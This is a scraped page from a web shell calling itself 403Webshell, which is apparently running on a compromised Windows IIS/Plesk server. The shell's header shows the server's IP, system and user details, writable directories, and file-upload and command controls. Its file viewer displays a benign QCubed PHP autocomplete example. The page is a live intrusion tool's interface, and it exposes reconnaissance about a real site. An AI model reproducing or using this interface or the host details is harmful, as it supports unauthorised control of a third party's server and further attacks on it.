403Webshell
Server IP : 103.118.17.23  /  Your IP : 216.73.216.160
Web Server : Microsoft-IIS/10.0
System : Windows NT RESELLERPLESK22 10.0 build 20348 (Windows Server 2016) AMD64
User : IWAM_plesk(default) ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/vhosts/mesa.org.in/httpdocs/assets/plugins/QAutoCompleteTextBox/example/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/vhosts/mesa.org.in/httpdocs/assets/plugins/QAutoCompleteTextBox/example/autocomplete.php
<?php
	require('../../../../includes/configuration/prepend.inc.php');

	class SampleForm extends QForm {
		protected $txtServerSide;
		protected $txtClientSide;

		protected function Form_Create() {
			$this->txtServerSide = new QAjaxAutoCompleteTextBox($this, 'txtServerSide_Change');
			$this->txtServerSide->Name = QApplication::Translate('Keyword');
			
			$arrAutoCompleteItems = array();
			$arrPersons = Person::LoadAll();
			foreach ($arrPersons as $person) {
				$arrAutoCompleteItems[] = $person->FirstName . " " . $person->LastName;
			}
			
			$this->txtClientSide = new QJavaScriptAutoCompleteTextBox($this, $arrAutoCompleteItems);
		}
		
		public function txtServerSide_Change($strParameter){
			$objMemberArray = Person::QueryArray(
				QQ::OrCondition(
					QQ::Like(QQN::Person()->FirstName, $strParameter . '%'),
					QQ::Like(QQN::Person()->LastName,  $strParameter . '%')
				),
					
				QQ::Clause(QQ::OrderBy(QQN::Person()->FirstName))
			);
			
			$result = array();
			foreach($objMemberArray as $objMember){
				$result[] = $objMember->FirstName. " " . $objMember->LastName;
			}
			
			return $result;
		}
	}

	SampleForm::Run('SampleForm');
?>

Youez - 2016 - github.com/yon3zu
LinuXploit